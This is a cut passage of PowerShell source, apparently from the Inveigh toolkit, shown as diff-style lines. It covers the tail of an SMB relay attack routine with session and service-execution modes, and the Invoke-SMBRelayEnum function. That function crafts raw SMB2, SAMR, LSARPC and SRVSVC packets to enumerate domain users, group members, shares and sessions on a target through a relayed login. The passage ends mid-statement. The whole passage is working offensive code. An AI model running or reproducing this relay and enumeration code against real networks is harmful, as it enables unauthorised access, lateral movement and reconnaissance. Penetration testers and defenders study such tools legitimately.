$SMB_close_service_handle_stage = 1 + } + + 'Logoff' + { + $stage = 'Exit' + } + + 'OpenSCManagerW' + { + $stage = 'ReadRequest' + $stage_next = 'CheckAccess' + } + + 'ReadRequest' + { + $stage = $stage_next + } + + 'RPCBind' + { + $stage = 'ReadRequest' + $stage_next = 'OpenSCManagerW' + } + + 'StartServiceW' + { + $stage = 'ReadRequest' + $stage_next = 'DeleteServiceW' + } + + 'TreeConnect' + { + $tree_ID = $client_receive[40..43] + $stage = 'CreateRequest' + } + + 'TreeDisconnect' + { + + if($Attack -contains 'Session' -or $Attack -contains 'Execute') + { + $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } + + 'TreeConnect' + { + $tree_ID = 0x00,0x00,0x00,0x00 + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + 'TreeDisconnect' + { + $message_ID++ + $stage_current = $stage + $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $SMB_process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $stage = 'SendReceive' + } + + + + } + + if($SMB_relay_failed -and $Attack -notcontains 'Session') + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay failed on $Target") > $null + $stage = 'Exit' + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim()) stage $stage_current") > $null + $stage = 'Exit' + } + + } + + if($Attack -contains 'Session') + { + return $SMB_administrator + } + else + { + $client.Close() + } + + } + + function Invoke-SMBRelayEnum + { + param ($client,$SMB_user_ID,$session_ID,$process_ID,$Enumerate,$EnumerateGroup) + + $client_receive = New-Object System.Byte[] 81920 + $SMB_signing = $false + $message_ID = $inveigh.session_message_ID_table[$inveigh.session_count] + $action = $Enumerate + $tree_ID = 0x00,0x00,0x00,0x00 + $group = $EnumerateGroup + + if($Action -eq 'All') + { + $action_stage = 'group' + } + else + { + $action_stage = $Action + } + + $path = "\\" + $Target + "\IPC$" + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) + $j = 0 + $stage = 'TreeConnect' + $client_stream = $client.GetStream() + + while ($stage -ne 'Exit') + { + + try + { + + switch ($stage) + { + + 'CloseRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2CloseRequest $file_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'Connect2' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRConnect2 $Target + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x39,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'Connect5' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRConnect5 $Target + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x40,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'CreateRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2CreateRequestFile $named_pipe + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'EnumDomainUsers' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMREnumDomainUsers $SAMR_domain_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x0d,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'GetMembersInAlias' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRGetMembersInAlias $SAMR_policy_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0d,0x00,0x00,0x00 0x00,0x00 0x21,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'Logoff' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2SessionLogoffRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'LookupNames' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRLookupNames $SAMR_domain_handle $Group + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x11,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'LookupRids' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRLookupRids $SAMR_domain_handle $RID_count_bytes $RID_list + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0b,0x00,0x00,0x00 0x00,0x00 0x12,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'LSAClose' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSAClose $policy_handle + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + $step++ + } + + 'LSALookupSids' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSALookupSids $policy_handle $SID_array + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + } + + 'LSAOpenPolicy' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSAOpenPolicy + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x06,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + } + + 'LSAQueryInfoPolicy' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_LSARPC_data = New-PacketLSAQueryInfoPolicy $policy_handle + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x07,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $LSARPC_data + $stage = 'SendReceive' + } + + 'NetSessEnum' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SRVSVC_data = New-PacketSRVSVCNetSessEnum $Target + $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 1024 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data + $stage = 'SendReceive' + } + + 'NetShareEnumAll' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SRVSVC_data = New-PacketSRVSVCNetShareEnumAll $Target + $SRVSVC_data = ConvertFrom-PacketOrderedDictionary $packet_SRVSVC_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SRVSVC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SRVSVC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SRVSVC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SRVSVC_data + $stage = 'SendReceive' + } + + 'OpenAlias' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMROpenAlias $SAMR_domain_handle $SAMR_RID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x0c,0x00,0x00,0x00 0x00,0x00 0x1b,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'OpenDomain' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMROpenDomain $SAMR_connect_handle $SID_count $LSA_domain_SID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x07,0x00,0x00,0x00 0x00,0x00 0x07,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'OpenGroup' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMROpenGroup $SAMR_domain_handle $SAMR_RID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'ParseLookupRids' + { + [Byte[]]$response_user_count_bytes = $client_receive[140..143] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 8 + 164 + $response_user_end = $response_user_start + $response_user_length_start = 152 + $i = 0 + + while($i -lt $response_user_count) + { + $response_user_object = New-Object PSObject + [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + $response_user_length_start = $response_user_length_start + 8 + $i++ + } + + $stage = 'CloseRequest' + } + + 'ParseLookupSids' + { + [Byte[]]$response_domain_count_bytes = $client_receive[144..147] + $response_domain_count = [System.BitConverter]::ToInt16($response_domain_count_bytes,0) + $response_domain_start = $response_domain_count * 12 + 172 + $response_domain_end = $response_domain_start + $response_domain_length_start = 160 + $enumerate_group_user_list = New-Object System.Collections.ArrayList + $enumerate_group_group_list = New-Object System.Collections.ArrayList + $response_domain_list = @() + $i = 0 + + while($i -lt $response_domain_count) + { + [Byte[]]$response_domain_length_bytes = $client_receive[$response_domain_length_start..($response_domain_length_start + 1)] + $response_domain_length = [System.BitConverter]::ToInt16($response_domain_length_bytes,0) + $response_domain_end = $response_domain_start + $response_domain_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_domain_bytes = $client_receive[$response_domain_start..($response_domain_end - 1)] + + if($response_actual_count % 2) + { + $response_domain_start += $response_domain_length + 42 + } + else + { + $response_domain_start += $response_domain_length + 40 + } + + $response_domain = [System.BitConverter]::ToString($response_domain_bytes) + $response_domain = $response_domain -replace "-00","" + $response_domain = $response_domain.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_domain = New-Object System.String ($response_domain,0,$response_domain.Length) + $response_domain_list += $response_domain + $response_domain_length_start = $response_domain_length_start + 12 + $i++ + } + + [Byte[]]$response_user_count_bytes = $client_receive[($response_domain_start - 4)..($response_domain_start - 1)] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 16 + $response_domain_start + 12 + $response_user_end = $response_user_start + $response_user_length_start = $response_domain_start + 4 + $i = 0 + + while($i -lt $response_user_count) + { + [Byte[]]$response_user_type_bytes = $client_receive[($response_user_length_start - 4)] + [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + $response_SID_index_start = $response_user_length_start + 8 + [Byte[]]$response_SID_index_bytes = $client_receive[$response_SID_index_start..($response_SID_index_start + 3)] + $response_SID_index = [System.BitConverter]::ToInt16($response_SID_index_bytes,0) + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + $response_user_length_start = $response_user_length_start + 16 + $response_administrator = $response_domain_list[$response_SID_index] + "\" + $response_user + + if($response_user_type_bytes -eq 1) + { + $enumerate_group_user_list.Add($response_administrator) > $null + } + else + { + $enumerate_group_group_list.Add($response_administrator) > $null + } + + $i++ + } + + if($enumerate_group_user_list -gt 0) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target $EnumerateGroup group member users:") > $null + $inveigh.output_queue.Add($enumerate_group_user_list -join ",") > $null + } + + if($enumerate_group_group_list -gt 0) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target $EnumerateGroup group member groups:") > $null + $inveigh.output_queue.Add($enumerate_group_group_list -join ",") > $null + } + + $stage = 'CloseRequest' + } + + 'ParseSRVSVC' + { + $response_object_list = @() + $share_list = @() + [Byte[]]$response_count_bytes = $client_receive[152..155] + $response_count = [System.BitConverter]::ToInt32($response_count_bytes,0) + $response_item_index = 164 + + if($action_stage -eq 'Share') + { + $enumerate_share_list = New-Object System.Collections.ArrayList + } + else + { + $enumerate_netsession_list = New-Object System.Collections.ArrayList + } + + $i = 0 + + while($i -lt $response_count) + { + + if($i -gt 0) + { + + if($response_item_length % 2) + { + $response_item_index += $response_item_length * 2 + 2 + } + else + { + $response_item_index += $response_item_length * 2 + } + + } + else + { + + if($action_stage -eq 'Share') + { + $response_item_index += $response_count * 12 + } + else + { + $response_item_index += $response_count * 16 + } + + } + + [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] + $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) + $response_item_index += 12 + [Byte[]]$response_item_bytes = 